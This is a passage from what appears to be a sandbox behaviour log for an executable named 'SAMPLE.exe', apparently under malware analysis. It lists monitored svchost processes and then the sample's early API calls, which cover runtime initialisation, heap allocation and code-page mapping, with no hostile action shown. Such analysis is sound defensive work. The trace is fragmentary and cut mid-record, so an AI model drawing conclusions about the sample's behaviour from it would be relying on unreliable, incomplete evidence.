0xa68 Thread: id = 87 os_tid = 0x58c Thread: id = 88 os_tid = 0x5b4 Thread: id = 89 os_tid = 0x7f8 Thread: id = 90 os_tid = 0x430 Thread: id = 91 os_tid = 0x268 Thread: id = 92 os_tid = 0x768 Thread: id = 93 os_tid = 0x764 Thread: id = 94 os_tid = 0x760 Thread: id = 95 os_tid = 0x75c Thread: id = 96 os_tid = 0x70c Thread: id = 97 os_tid = 0x6e8 Thread: id = 98 os_tid = 0x6c8 Thread: id = 99 os_tid = 0x6c0 Thread: id = 100 os_tid = 0x6b8 Thread: id = 101 os_tid = 0x6a4 Thread: id = 102 os_tid = 0x6a0 Thread: id = 103 os_tid = 0x690 Thread: id = 104 os_tid = 0x67c Thread: id = 105 os_tid = 0x490 Thread: id = 106 os_tid = 0x454 Thread: id = 107 os_tid = 0x450 Thread: id = 108 os_tid = 0x428 Thread: id = 109 os_tid = 0x424 Thread: id = 110 os_tid = 0x420 Thread: id = 111 os_tid = 0x404 Thread: id = 112 os_tid = 0x18c Thread: id = 113 os_tid = 0xf0 Thread: id = 114 os_tid = 0xc8 Thread: id = 115 os_tid = 0x3f0 Thread: id = 116 os_tid = 0x3e4 Thread: id = 117 os_tid = 0x398 Thread: id = 118 os_tid = 0x394 Thread: id = 119 os_tid = 0x390 Thread: id = 120 os_tid = 0x38c Thread: id = 121 os_tid = 0x378 Thread: id = 122 os_tid = 0x370 Thread: id = 125 os_tid = 0xb64 Thread: id = 126 os_tid = 0xb68 Thread: id = 127 os_tid = 0xb6c Thread: id = 173 os_tid = 0xbac Thread: id = 174 os_tid = 0xbb4 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 129 os_tid = 0x968 Thread: id = 130 os_tid = 0x84c Thread: id = 131 os_tid = 0x184 Thread: id = 132 os_tid = 0x754 Thread: id = 133 os_tid = 0x704 Thread: id = 134 os_tid = 0x6e0 Thread: id = 135 os_tid = 0x6b0 Thread: id = 136 os_tid = 0x698 Thread: id = 137 os_tid = 0x678 Thread: id = 138 os_tid = 0x630 Thread: id = 139 os_tid = 0x610 Thread: id = 140 os_tid = 0x14c Thread: id = 141 os_tid = 0x140 Thread: id = 142 os_tid = 0x158 Thread: id = 143 os_tid = 0x294 Thread: id = 144 os_tid = 0x218 Thread: id = 145 os_tid = 0x230 Thread: id = 146 os_tid = 0x21c Thread: id = 147 os_tid = 0x1c4 Thread: id = 177 os_tid = 0xbd0 Thread: id = 178 os_tid = 0xbe8 Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8bed000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "13" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba6f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 148 os_tid = 0x488 Thread: id = 149 os_tid = 0x3a0 Thread: id = 150 os_tid = 0x658 Thread: id = 151 os_tid = 0x584 Thread: id = 152 os_tid = 0x750 Thread: id = 153 os_tid = 0x730 Thread: id = 154 os_tid = 0x728 Thread: id = 155 os_tid = 0x674 Thread: id = 156 os_tid = 0x65c Thread: id = 157 os_tid = 0x144 Thread: id = 158 os_tid = 0x118 Thread: id = 159 os_tid = 0x3ec Thread: id = 160 os_tid = 0x3e8 Thread: id = 161 os_tid = 0x3e0 Thread: id = 162 os_tid = 0x3dc Thread: id = 163 os_tid = 0x3cc Thread: id = 164 os_tid = 0x3c8 Thread: id = 165 os_tid = 0x388 Thread: id = 166 os_tid = 0x384 Thread: id = 167 os_tid = 0x380 Thread: id = 168 os_tid = 0x37c Thread: id = 169 os_tid = 0x364 Thread: id = 170 os_tid = 0x360 Thread: id = 171 os_tid = 0x34c Thread: id = 172 os_tid = 0x338 Thread: id = 175 os_tid = 0xbc8 Process: id = "16" image_name = "ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe" page_root = "0x7aa43000" os_pid = "0x564" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2a3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 179 os_tid = 0x568 [0097.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x61341640, dwHighDateTime=0x1d53dff)) [0097.418] GetCurrentThreadId () returned 0x568 [0097.418] GetCurrentProcessId () returned 0x564 [0097.418] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=6627012196) returned 1 [0097.419] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7772fd35, hStdError=0x77797daf)) [0097.419] GetProcessHeap () returned 0xd10000 [0097.420] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0097.420] GetProcAddress (hModule=0x77080000, lpProcName="FlsAlloc") returned 0x77094f2b [0097.420] GetProcAddress (hModule=0x77080000, lpProcName="FlsFree") returned 0x7709359f [0097.420] GetProcAddress (hModule=0x77080000, lpProcName="FlsGetValue") returned 0x77091252 [0097.420] GetProcAddress (hModule=0x77080000, lpProcName="FlsSetValue") returned 0x77094208 [0097.420] GetProcAddress (hModule=0x77080000, lpProcName="InitializeCriticalSectionEx") returned 0x77094d28 [0097.420] GetProcAddress (hModule=0x77080000, lpProcName="CreateEventExW") returned 0x7711410b [0097.420] GetProcAddress (hModule=0x77080000, lpProcName="CreateSemaphoreExW") returned 0x77114195 [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="SetThreadStackGuarantee") returned 0x7709d31f [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="CreateThreadpoolTimer") returned 0x770aee7e [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="SetThreadpoolTimer") returned 0x7775441c [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7777c50e [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="CloseThreadpoolTimer") returned 0x7777c381 [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="CreateThreadpoolWait") returned 0x770af088 [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="SetThreadpoolWait") returned 0x777605d7 [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="CloseThreadpoolWait") returned 0x7777ca24 [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="FlushProcessWriteBuffers") returned 0x77730b8c [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x777efde8 [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="GetCurrentProcessorNumber") returned 0x77781e1d [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="GetLogicalProcessorInformation") returned 0x77114761 [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="CreateSymbolicLinkW") returned 0x7710cd11 [0097.421] GetProcAddress (hModule=0x77080000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0097.422] GetProcAddress (hModule=0x77080000, lpProcName="EnumSystemLocalesEx") returned 0x7711424f [0097.422] GetProcAddress (hModule=0x77080000, lpProcName="CompareStringEx") returned 0x771146b1 [0097.422] GetProcAddress (hModule=0x77080000, lpProcName="GetDateFormatEx") returned 0x77126676 [0097.422] GetProcAddress (hModule=0x77080000, lpProcName=0x411ff4) returned 0x77114751 [0097.422] GetProcAddress (hModule=0x77080000, lpProcName="GetTimeFormatEx") returned 0x771265f1 [0097.422] GetProcAddress (hModule=0x77080000, lpProcName="GetUserDefaultLocaleName") returned 0x771147c1 [0097.422] GetProcAddress (hModule=0x77080000, lpProcName="IsValidLocaleName") returned 0x771147e1 [0097.422] GetProcAddress (hModule=0x77080000, lpProcName="LCMapStringEx") returned 0x771147f1 [0097.422] GetProcAddress (hModule=0x77080000, lpProcName="GetCurrentPackageId") returned 0x0 [0097.422] GetProcAddress (hModule=0x77080000, lpProcName="GetTickCount64") returned 0x770aeee0 [0097.422] GetProcAddress (hModule=0x77080000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0097.422] GetProcAddress (hModule=0x77080000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0097.423] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x3bc) returned 0xd24148 [0097.423] GetCurrentThreadId () returned 0x568 [0097.423] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18) returned 0xd21170 [0097.423] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x800) returned 0xd24510 [0097.423] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x407684, hStdOutput=0xebe1056a, hStdError=0x0)) [0097.423] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0097.423] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0097.423] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0097.423] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart" [0097.423] GetEnvironmentStringsW () returned 0xd24d18* [0097.423] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb02) returned 0xd25828 [0097.424] FreeEnvironmentStringsW (penv=0xd24d18) returned 1 [0097.424] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc18d28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe")) returned 0x89 [0097.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x138) returned 0xd24d18 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x9c) returned 0xd24e58 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x3e) returned 0xd21190 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x6c) returned 0xd24f00 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x6e) returned 0xd24f78 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x78) returned 0xd21348 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x62) returned 0xd24ff0 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x2e) returned 0xd25060 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x48) returned 0xd25098 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x28) returned 0xd250e8 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x1a) returned 0xd23be0 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x4a) returned 0xd25118 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x72) returned 0xd213c8 [0097.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x30) returned 0xd25170 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x2e) returned 0xd251a8 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x1c) returned 0xd23c08 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0xd2) returned 0xd251e0 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x7c) returned 0xd252c0 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x36) returned 0xd25348 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x3a) returned 0xd25388 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x90) returned 0xd253d0 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x24) returned 0xd25468 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x30) returned 0xd25498 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x36) returned 0xd254d0 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x48) returned 0xd25510 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x52) returned 0xd25560 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x3c) returned 0xd255c0 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x82) returned 0xd25608 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x2e) returned 0xd25698 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x28) returned 0xd256d0 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x1e) returned 0xd23c30 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x2c) returned 0xd25700 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x54) returned 0xd25738 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x52) returned 0xd25798 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x2a) returned 0xd26338 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x3c) returned 0xd26388 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x54) returned 0xd27370 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x24) returned 0xd257f8 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x30) returned 0xd273d0 [0097.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x8c) returned 0xd27408 [0097.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xd25828 | out: hHeap=0xd10000) returned 1 [0097.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x80) returned 0xd25828 [0097.471] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0097.471] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x8, Size=0x800) returned 0xd258b0 [0097.471] GetLastError () returned 0x0 [0097.471] SetLastError (dwErrCode=0x0) [0097.471] GetLastError () returned 0x0 [0097.471] SetLastError (dwErrCode=0x0) [0097.471] GetLastError () returned 0x0 [0097.471] SetLastError (dwErrCode=0x0) [0097.471] GetACP () returned 0x4e4 [0097.471] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x220) returned 0xd260b8 [0097.471] GetLastError () returned 0x0 [0097.471] SetLastError (dwErrCode=0x0) [0097.471] IsValidCodePage (CodePage=0x4e4) returned 1 [0097.471] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0097.471] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0097.471] GetLastError () returned 0x0 [0097.471] SetLastError (dwErrCode=0x0) [0097.471] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0097.471] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0097.471] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0097.471] GetLastError () returned 0x0 [0097.471] SetLastError (dwErrCode=0x0) [0097.471] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0097.471] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0097.471] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0097.472] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0097.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5